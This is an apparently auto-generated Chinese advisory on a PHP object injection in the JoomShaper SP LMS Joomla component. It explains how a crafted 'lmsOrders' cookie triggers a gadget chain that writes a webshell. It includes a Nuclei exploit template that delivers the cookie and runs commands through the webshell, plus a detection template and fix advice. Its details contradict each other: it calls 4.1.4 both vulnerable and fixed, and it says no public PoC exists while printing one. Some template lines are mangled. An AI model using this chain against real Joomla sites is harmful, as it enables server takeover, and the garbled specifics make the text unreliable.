[webapps] Joomla Extension 4.1.4 - PHP Object injection

CVE-2026-48909是Joomla SP LMS 4.1.3及之前版本中的PHP对象注入漏洞,攻击者通过精心构造的cookie触发反序列化,进而利用Joomla gadget链写入webshell,实现远程代码执行。本文深度分析漏洞根因、攻击链及PoC代码,并提供修复建议和检测规则。

CVE-2026-48909

Joomla SP LMS 4.1.4版本存在PHP对象注入漏洞,通过未过滤的cookie反序列化可导致远程代码执行。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2026-48909
漏洞类型PHP对象注入
受影响版本JoomShaper SP LMS <= 4.1.3,Joomla < 5.2.2
危害等级Critical · CVSS 9.8
发布日期2026-07-06
来源Exploit-DB 原文 ↗

🔬 漏洞根因

com_splms/models/cart.php:28行直接对来自cookie 'lmsOrders'的base64编码数据进行unserialize(base64_decode($cookie)),未做任何安全校验,导致攻击者可构造恶意序列化对象触发Joomla gadget链。

🎯 攻击场景

1. 构造恶意序列化对象,利用Joomla的FormattedtextLogger类的__destruct方法,设置deferredEntries属性为一个LogEntry对象,并设置path和format属性用于写文件。2. 将序列化结果进行base64编码,并填充以绕过'cmd'输入过滤器对'/', '=', '+'的过滤。3. 将编码后的payload设置为cookie 'lmsOrders',发送请求到/index.php?option=com_splms&view=cart。4. 服务器触发反序列化,__destruct方法写入webshell文件。5. 访问webshell文件执行任意命令。

💥 漏洞影响

远程代码执行(RCE),攻击者可写入任意PHP文件,完全控制受影响的Joomla服务器,窃取数据、植入恶意软件、横向移动等。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-48909-exploit

info:
  name: JoomShaper SP LMS <= 4.1.3 PHP Object Injection RCE
  author: yours
  severity: critical
  description: Exploits PHP Object Injection via lmsOrders cookie to write webshell and execute commands
  tags: cve,cve2026,joomla,splms,php-object-injection,rce

variables:
  shell_path: "{{shell_path}}"
  cmd: "id"

http:
  - raw:
      - |+
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Cookie: lmsOrders={{payload}}
Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 500

      - type: word
        words:
          - "uid="
          - "root:"
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '([^\s]+)'

  - raw:
      - |+
        GET /{{shell_path}}?c={{cmd}}
HTTP/1.1
        Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;
x64) AppleWebKit/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "uid="
          - "root:"
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '([^\s]+)'

🔬 深度技术分析

1. 定义_build_serialized函数构造包含Joomla gadget链的序列化字符串:O:23:"Joomla\\CMS\\Log\\Logger\\FormattedtextLogger":6:{...},其中包含受保护属性defer、options、path、deferredEntries、format、fields。2. 定义build_payload函数:将PHP代码编码为hex,构造format字符串,通过循环调整填充字符和长度,使得最终base64编码不含'/', '+'且长度能被3整除(避免'=')。3. 主函数exploit: 发送带有payload cookie的GET请求触发反序列化,然后访问写入的webshell并执行命令。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-48909-detection

info:
  name: JoomShaper SP LMS <= 4.1.3 PHP Object Injection Detection
  author: yours
  severity: high
  description: Detects vulnerable versions of JoomShaper SP LMS (<= 4.1.3) for CVE-2026-48909
  tags: cve,cve2026,joomla,splms,php-object-injection,detection

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_splms&view=cart"
      - "{{BaseURL}}/index.php?option=com_splms&view=cart&format=json"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SP LMS"
          - "com_splms"
        condition: or

      - type: word
        words:
          - "lmsOrders"
        part: header

    extractors:
      - type: kval
        kval:
          - set_cookie
        part: header

🛡️ 修复建议

升级到JoomShaper SP LMS >= 4.1.4版本;同时升级Joomla核心到5.2.2及以上版本(5.2.2修补了FormattedtextLogger.__wakeup(),阻断gadget链)。临时缓解措施:移除或加固com_splms/models/cart.php中cookie反序列化逻辑,使用json_decode代替unserialize,或对cookie值进行签名验证。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-07-12 08:12 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 如何判断我的Joomla站点是否受影响?

检查SP LMS组件版本是否<=4.1.3且Joomla版本<5.2.2;检查com_splms/models/cart.php第28行是否存在直接unserialize(base64_decode($cookie))操作。

❓ 攻击者需要什么前置条件?

需要目标站点安装了未修复的SP LMS组件,且Joomla版本低于5.2.2以利用FormattedtextLogger gadget链。

❓ 修复版本4.1.4是否完全免疫?

4.1.4修复了组件内的反序列化,但PHP对象注入仍然存在。要完全避免RCE,还需升级Joomla至5.2.2+。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)